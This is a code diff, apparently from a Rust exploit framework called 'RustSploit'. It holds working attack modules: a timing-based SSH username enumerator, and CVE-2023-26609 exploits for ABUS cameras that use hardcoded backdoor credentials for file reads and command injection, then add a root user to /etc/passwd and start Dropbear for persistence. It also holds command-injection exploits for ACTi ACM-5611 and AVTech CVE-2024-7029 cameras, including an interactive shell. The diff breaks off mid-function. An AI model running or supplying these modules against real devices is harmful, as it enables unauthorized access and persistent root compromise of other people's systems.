Err(_) => return None,
|
||||
};
|
||||
|
||||
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
|
||||
let mut sess = match Session::new() {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
sess.set_tcp_stream(tcp);
|
||||
if sess.handshake().is_err() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Try authentication with invalid password
|
||||
let invalid_password = format!("invalid_{}_{}", std::process::id(), start.elapsed().as_nanos());
|
||||
let _ = sess.userauth_password(username, &invalid_password);
|
||||
|
||||
let elapsed = start.elapsed().as_secs_f64();
|
||||
Some(elapsed)
|
||||
}
|
||||
|
||||
/// Sample authentication timing for a username
|
||||
fn sample_auth_timing(host: &str, port: u16, username: &str, samples: usize, timeout_secs: u64) -> Option<f64> {
|
||||
let mut times = Vec::new();
|
||||
|
||||
for _ in 0..samples {
|
||||
if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) {
|
||||
times.push(t);
|
||||
}
|
||||
// Small delay between samples
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
|
||||
if times.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Return average
|
||||
Some(times.iter().sum::<f64>() / times.len() as f64)
|
||||
}
|
||||
|
||||
/// Load usernames from file
|
||||
fn load_usernames(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
let usernames: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|l| l.ok())
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty() && !l.starts_with('#'))
|
||||
.collect();
|
||||
Ok(usernames)
|
||||
}
|
||||
|
||||
/// Enumerate valid users via timing attack
|
||||
pub async fn enumerate_users(
|
||||
host: &str,
|
||||
port: u16,
|
||||
usernames: &[String],
|
||||
samples: usize,
|
||||
timeout_secs: u64,
|
||||
threshold: f64,
|
||||
) -> Vec<String> {
|
||||
println!("{}", format!("[*] Enumerating users on {}:{} (timing attack)", host, port).cyan());
|
||||
println!("{}", format!("[*] Testing {} usernames with {} samples each", usernames.len(), samples).cyan());
|
||||
println!("{}", format!("[*] Timing threshold: {:.3}s", threshold).cyan());
|
||||
println!();
|
||||
|
||||
// Establish baseline with known-invalid user
|
||||
let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
|
||||
println!("{}", "[*] Establishing baseline timing...".cyan());
|
||||
|
||||
let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) {
|
||||
Some(t) => {
|
||||
println!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
|
||||
t
|
||||
}
|
||||
None => {
|
||||
println!("{}", "[-] Failed to establish baseline - cannot reach target".red());
|
||||
return Vec::new();
|
||||
}
|
||||
};
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Testing usernames...".cyan());
|
||||
|
||||
let mut valid_users = Vec::new();
|
||||
|
||||
for (i, user) in usernames.iter().enumerate() {
|
||||
print!("\r[{}/{}] Testing: {} ", i + 1, usernames.len(), user);
|
||||
let _ = std::io::stdout().flush();
|
||||
|
||||
match sample_auth_timing(host, port, user, samples, timeout_secs) {
|
||||
Some(t) => {
|
||||
let diff = t - baseline;
|
||||
if diff.abs() > threshold {
|
||||
println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green());
|
||||
valid_users.push(user.clone());
|
||||
}
|
||||
}
|
||||
None => {
|
||||
// Connection failed, skip
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Results ===".cyan().bold());
|
||||
if valid_users.is_empty() {
|
||||
println!("{}", "[-] No valid users found via timing attack".yellow());
|
||||
println!("{}", "[*] Note: This technique may not work on all SSH configurations".dimmed());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green());
|
||||
for user in &valid_users {
|
||||
println!(" - {}", user.green());
|
||||
}
|
||||
}
|
||||
|
||||
valid_users
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames to test
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "test", "guest",
|
||||
"ubuntu", "www-data", "daemon", "bin", "sys",
|
||||
"nobody", "mysql", "postgres", "oracle", "ftp",
|
||||
"ssh", "apache", "nginx", "tomcat", "redis",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target);
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(DEFAULT_SAMPLES);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", "10")?.parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
let threshold: f64 = prompt_default("Timing threshold (seconds)", "0.3")?.parse().unwrap_or(TIMING_THRESHOLD);
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Load usernames from file?", false)? {
|
||||
let file_path = prompt("Username file path")?;
|
||||
if !file_path.is_empty() {
|
||||
match load_usernames(&file_path) {
|
||||
Ok(loaded) => {
|
||||
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
|
||||
usernames.extend(loaded);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add default usernames?
|
||||
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames to test"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] Will test {} usernames", usernames.len()).cyan());
|
||||
println!();
|
||||
|
||||
// Run enumeration
|
||||
let valid_users = enumerate_users(&host, port, &usernames, samples, timeout, threshold).await;
|
||||
|
||||
// Save results?
|
||||
if !valid_users.is_empty() && prompt_yes_no("Save valid users to file?", true)? {
|
||||
let output_path = prompt_default("Output file", "valid_ssh_users.txt")?;
|
||||
let mut file = File::create(&output_path)?;
|
||||
writeln!(file, "# Valid SSH users for {}:{}", host, port)?;
|
||||
for user in &valid_users {
|
||||
writeln!(file, "{}", user)?;
|
||||
}
|
||||
println!("{}", format!("[+] Saved to: {}", output_path).green());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] SSH user enumeration complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -3,16 +3,14 @@
|
||||
// Author: d1g@segfault.net | Ported to Rust for RustSploit
|
||||
// PoC converted 1:1 from Bash to async Rust logic
|
||||
|
||||
// Cargo.toml:
|
||||
// [dependencies]
|
||||
// anyhow = "1.0"
|
||||
// reqwest = { version = "0.11", features = ["blocking", "rustls-tls"] }
|
||||
// md5 = "0.7.0"
|
||||
|
||||
use anyhow::{Result, anyhow};
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use md5;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Wraps/bracket-sanitizes IPv6 addresses (and leaves IPv4/hostnames alone)
|
||||
fn format_host(raw: &str) -> String {
|
||||
@@ -32,11 +30,20 @@ async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()
|
||||
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
|
||||
host, filepath
|
||||
);
|
||||
println!("[*] Sending LFI request to: {}", url);
|
||||
println!("{}", format!("[*] Sending LFI request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Body:\n{}", resp.text().await?);
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] Status: {}", status).green());
|
||||
println!("{}", "[+] Body:".green());
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!("{}", format!("[-] Status: {}", status).red());
|
||||
println!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -47,18 +54,27 @@ async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
println!("[*] Sending RCE request to: {}", url);
|
||||
println!("{}", format!("[*] Sending RCE request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Body:\n{}", resp.text().await?);
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] Status: {}", status).green());
|
||||
println!("{}", "[+] Body:".green());
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!("{}", format!("[-] Status: {}", status).red());
|
||||
println!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Stage 1: Generate SSH key
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("[*] Generating SSH key on target...");
|
||||
println!("{}", "[*] Stage 1: Generating SSH key on target...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
@@ -66,21 +82,21 @@ async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
// Compute lowercase-hex MD5 of the provided password
|
||||
let hash = format!("{:x}", md5::compute(password));
|
||||
println!("[*] MD5 hash of password: {}", hash);
|
||||
println!("{}", format!("[*] MD5 hash of password: {}", hash).cyan());
|
||||
|
||||
// Build the echo command to append to /etc/passwd
|
||||
let cmd = format!(
|
||||
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
hash
|
||||
);
|
||||
println!("[*] Injecting root user into /etc/passwd...");
|
||||
println!("{}", "[*] Stage 2: Injecting root user into /etc/passwd...".yellow());
|
||||
exploit_rce(client, target, &cmd).await
|
||||
}
|
||||
|
||||
/// Stage 3: Start Dropbear SSH server
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("[*] Starting Dropbear SSH server...");
|
||||
println!("{}", "[*] Stage 3: Starting Dropbear SSH server...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
@@ -89,40 +105,55 @@ async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Re
|
||||
generate_ssh_key(client, target).await?;
|
||||
inject_root_user(client, target, password).await?;
|
||||
start_dropbear(client, target).await?;
|
||||
println!("[+] Persistence complete! You can now SSH in with:");
|
||||
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
|
||||
println!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\
|
||||
-oHostKeyAlgorithms=+ssh-rsa d1g@{}",
|
||||
password, target
|
||||
"{}",
|
||||
format!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa d1g@{}",
|
||||
password, target
|
||||
).cyan()
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
|
||||
println!("{}", "║ CVE-2023-26609 - LFI, RCE and SSH Root Access ║".cyan());
|
||||
println!("{}", "║ Variant 1 - Multi-mode (LFI/RCE/Persistence) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Prompt user for mode, and dispatch accordingly
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
println!("[*] Exploit mode selection for target: {}", target);
|
||||
println!(" [1] LFI");
|
||||
println!(" [2] RCE");
|
||||
println!(" [3] SSH Persistence");
|
||||
print!("> ");
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
println!("{}", "[*] Exploit mode selection:".cyan().bold());
|
||||
println!(" {} LFI (Local File Inclusion)", "[1]".green());
|
||||
println!(" {} RCE (Remote Code Execution)", "[2]".green());
|
||||
println!(" {} SSH Persistence (Full Compromise)", "[3]".green());
|
||||
print!("{}", "> ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
print!("Enter file path to read (e.g. /etc/passwd): ");
|
||||
print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut fp = String::new();
|
||||
io::stdin().read_line(&mut fp)?;
|
||||
exploit_lfi(&client, target, fp.trim()).await?;
|
||||
}
|
||||
"2" => {
|
||||
print!("Enter command to execute (e.g. id): ");
|
||||
print!("{}", "Enter command to execute (e.g. id): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut cmd = String::new();
|
||||
io::stdin().read_line(&mut cmd)?;
|
||||
@@ -130,7 +161,7 @@ async fn execute(target: &str) -> Result<()> {
|
||||
}
|
||||
"3" => {
|
||||
// Ask for the desired password, hash it, and persist
|
||||
print!("Enter desired password for new root user: ");
|
||||
print!("{}", "Enter desired password for new root user: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut pwd = String::new();
|
||||
io::stdin().read_line(&mut pwd)?;
|
||||
@@ -140,7 +171,10 @@ async fn execute(target: &str) -> Result<()> {
|
||||
}
|
||||
persist_root_shell(&client, target, pwd).await?;
|
||||
}
|
||||
_ => return Err(anyhow!("Invalid choice")),
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid choice".red());
|
||||
return Err(anyhow!("Invalid choice"));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
@@ -149,5 +183,4 @@ async fn execute(target: &str) -> Result<()> {
|
||||
/// Entry point for the RustSploit dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
execute(target).await
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,7 +1,15 @@
|
||||
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - SSH Root Persistence
|
||||
// CVE: CVE-2023-26609
|
||||
// Variant 2 - Dropbear SSH Persistence with custom username
|
||||
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use md5;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use md5;
|
||||
use std::time::Duration;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Normalize IPv6 targets, collapsing any number of outer brackets
|
||||
/// and preserving an explicit port if one was given as `[...] : port`.
|
||||
@@ -39,11 +47,20 @@ async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
|
||||
normalized, cmd
|
||||
);
|
||||
println!("[*] Sending RCE payload: {}", cmd);
|
||||
println!("{}", format!("[*] Sending RCE payload: {}", cmd).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Response:\n{}", resp.text().await?);
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] Status: {}", status).green());
|
||||
println!("{}", "[+] Response:".green());
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!("{}", format!("[-] Status: {}", status).red());
|
||||
println!("{}", format!("[-] Response:\n{}", body).red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -51,7 +68,7 @@ async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
/// Generate Dropbear SSH keys on the target system
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("[*] Generating Dropbear SSH key...");
|
||||
println!("{}", "[*] Stage 1: Generating Dropbear SSH key...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
@@ -61,14 +78,14 @@ async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str)
|
||||
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
user, hash
|
||||
);
|
||||
println!("[*] Injecting user '{}' with root privileges...", user);
|
||||
println!("{}", format!("[*] Stage 2: Injecting user '{}' with root privileges...", user).yellow());
|
||||
exploit_rce(client, target, &payload).await
|
||||
}
|
||||
|
||||
/// Start Dropbear SSH daemon
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("[*] Starting Dropbear SSH daemon...");
|
||||
println!("{}", "[*] Stage 3: Starting Dropbear SSH daemon...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
@@ -78,40 +95,66 @@ fn generate_md5_hash(password: &str) -> String {
|
||||
format!("{:x}", digest)
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
|
||||
println!("{}", "║ CVE-2023-26609 - Dropbear SSH Persistence ║".cyan());
|
||||
println!("{}", "║ Variant 2 - Custom Username SSH Root Access ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Main interactive flow: get user/pass, hash it, and inject persistence
|
||||
async fn execute_flow(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
println!("[*] Dropbear SSH persistence for target: {}", target);
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
print!("Enter username to inject: ");
|
||||
print!("{}", "Enter username to inject: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut user = String::new();
|
||||
io::stdin().read_line(&mut user)?;
|
||||
let user = user.trim();
|
||||
|
||||
print!("Enter password (will be hashed): ");
|
||||
if user.is_empty() {
|
||||
println!("{}", "[-] Username cannot be empty".red());
|
||||
return Err(anyhow::anyhow!("Username cannot be empty"));
|
||||
}
|
||||
|
||||
print!("{}", "Enter password (will be hashed): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut pass = String::new();
|
||||
io::stdin().read_line(&mut pass)?;
|
||||
let pass = pass.trim();
|
||||
|
||||
if pass.is_empty() {
|
||||
println!("{}", "[-] Password cannot be empty".red());
|
||||
return Err(anyhow::anyhow!("Password cannot be empty"));
|
||||
}
|
||||
|
||||
// Hash it!
|
||||
let hash = generate_md5_hash(pass);
|
||||
println!("[*] Generated MD5 hash: {}", hash);
|
||||
println!("{}", format!("[*] Generated MD5 hash: {}", hash).cyan());
|
||||
println!();
|
||||
|
||||
// Run each step
|
||||
generate_ssh_key(&client, target).await?;
|
||||
inject_root_user(&client, target, user, &hash).await?;
|
||||
start_dropbear(&client, target).await?;
|
||||
|
||||
println!("\n[+] Done. Try connecting with:");
|
||||
println!();
|
||||
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
|
||||
println!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \
|
||||
-oHostKeyAlgorithms=+ssh-rsa {}@{}",
|
||||
pass, user, target
|
||||
"{}",
|
||||
format!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa {}@{}",
|
||||
pass, user, target
|
||||
).cyan()
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,41 +1,72 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
|
||||
/// // Executes an RCE on ACTi ACM-5611 Video Camera using command injection
|
||||
/// // Reference:
|
||||
/// // - https://www.exploitalert.com/view-details.html?id=34128
|
||||
/// // - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
|
||||
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
|
||||
/// Reference:
|
||||
/// - https://www.exploitalert.com/view-details.html?id=34128
|
||||
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
|
||||
|
||||
/// // Exploit authors:
|
||||
/// // - Todor Donev <todor.donev@gmail.com>
|
||||
/// // - GH0st3rs (RouterSploit module)
|
||||
/// Exploit authors:
|
||||
/// - Todor Donev <todor.donev@gmail.com>
|
||||
/// - GH0st3rs (RouterSploit module)
|
||||
|
||||
const DEFAULT_PORT: u16 = 8080;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
|
||||
println!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = 8080; // // Default port
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
// Prompt for port
|
||||
print!("{}", format!("Enter target port (default {}): ", DEFAULT_PORT).cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut port_input = String::new();
|
||||
io::stdin().read_line(&mut port_input)?;
|
||||
let port: u16 = port_input.trim().parse().unwrap_or(DEFAULT_PORT);
|
||||
|
||||
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
|
||||
|
||||
if check(target, port).await? {
|
||||
println!("[+] Target seems vulnerable: {}:{}", target, port);
|
||||
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
|
||||
|
||||
// // Simulated shell command execution
|
||||
let cmd = "id"; // // You can change this to any test command
|
||||
// Prompt for command to execute
|
||||
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut cmd_input = String::new();
|
||||
io::stdin().read_line(&mut cmd_input)?;
|
||||
let cmd = {
|
||||
let t = cmd_input.trim();
|
||||
if t.is_empty() { "id" } else { t }
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
|
||||
let output = execute(target, port, cmd).await?;
|
||||
println!("[+] Executed '{}':\n{}", cmd, output);
|
||||
|
||||
// // You can extend this to implement full shell injection
|
||||
// // shell(arch="armle", method="wget", location="/var/", exec_binary=...)
|
||||
println!("{}", format!("[+] Output:\n{}", output).green());
|
||||
} else {
|
||||
println!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port);
|
||||
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
|
||||
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
|
||||
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
let res = client
|
||||
@@ -54,22 +85,25 @@ async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
|
||||
}
|
||||
}
|
||||
|
||||
/// // Check if the target is running the vulnerable service
|
||||
/// Check if the target is running the vulnerable service
|
||||
async fn check(target: &str, port: u16) -> Result<bool> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let index_url = format!("http://{}:{}/", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
// // Check /cgi-bin/test
|
||||
// Check /cgi-bin/test
|
||||
let test_res = client.get(&url).send().await?;
|
||||
if test_res.status().is_success() {
|
||||
// // Check root page contains 'Web Configurator'
|
||||
println!("{}", "[*] CGI endpoint accessible".cyan());
|
||||
// Check root page contains 'Web Configurator'
|
||||
let index_res = client.get(&index_url).send().await?;
|
||||
if index_res.status().is_success() {
|
||||
let body = index_res.text().await?;
|
||||
if body.contains("Web Configurator") {
|
||||
println!("{}", "[*] ACTi Web Configurator detected".cyan());
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,10 +1,22 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use std::path::Path;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, BufReader};
|
||||
|
||||
const DEFAULT_PORT: &str = "80";
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ AVTech Camera CVE-2024-7029 RCE Exploit ║".cyan());
|
||||
println!("{}", "║ Command Injection via brightness parameter ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// // Ensures the target string has a scheme (http://) and includes port
|
||||
fn normalize_url(ip: &str, port: &str) -> String {
|
||||
let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
|
||||
@@ -23,8 +35,9 @@ fn normalize_url(ip: &str, port: &str) -> String {
|
||||
}
|
||||
}
|
||||
|
||||
/// // Check if the device is vulnerable to CVE-2024-7029
|
||||
/// Check if the device is vulnerable to CVE-2024-7029
|
||||
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
|
||||
println!("{}", "[*] Checking vulnerability...".cyan());
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
url.query_pairs_mut()
|
||||
@@ -35,22 +48,27 @@ async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
|
||||
Ok(body.contains("echo_CVE7029"))
|
||||
}
|
||||
|
||||
/// // Interactive shell to send arbitrary commands
|
||||
/// Interactive shell to send arbitrary commands
|
||||
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
|
||||
